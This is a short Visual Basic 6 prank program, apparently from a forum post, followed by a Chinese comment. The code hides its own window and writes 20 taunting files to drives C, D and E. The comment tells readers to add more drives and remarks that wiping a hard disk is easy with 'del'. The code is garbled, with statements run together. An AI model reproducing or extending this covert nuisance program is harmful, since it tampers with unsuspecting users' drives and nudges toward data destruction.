Private Sub Form_Load()
Form1.Visible
= FalseFor i = 1 To 20# Open "c:\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 1 Open "d:\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 2 Open "e:\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 3 Close #1 Close #2 Close #3NextEnd Sub执行后c,d,e会每个盘符下都有20个已经建立的文件,如果还有其他盘符你自己在加个上去清空硬盘很简单~直接del
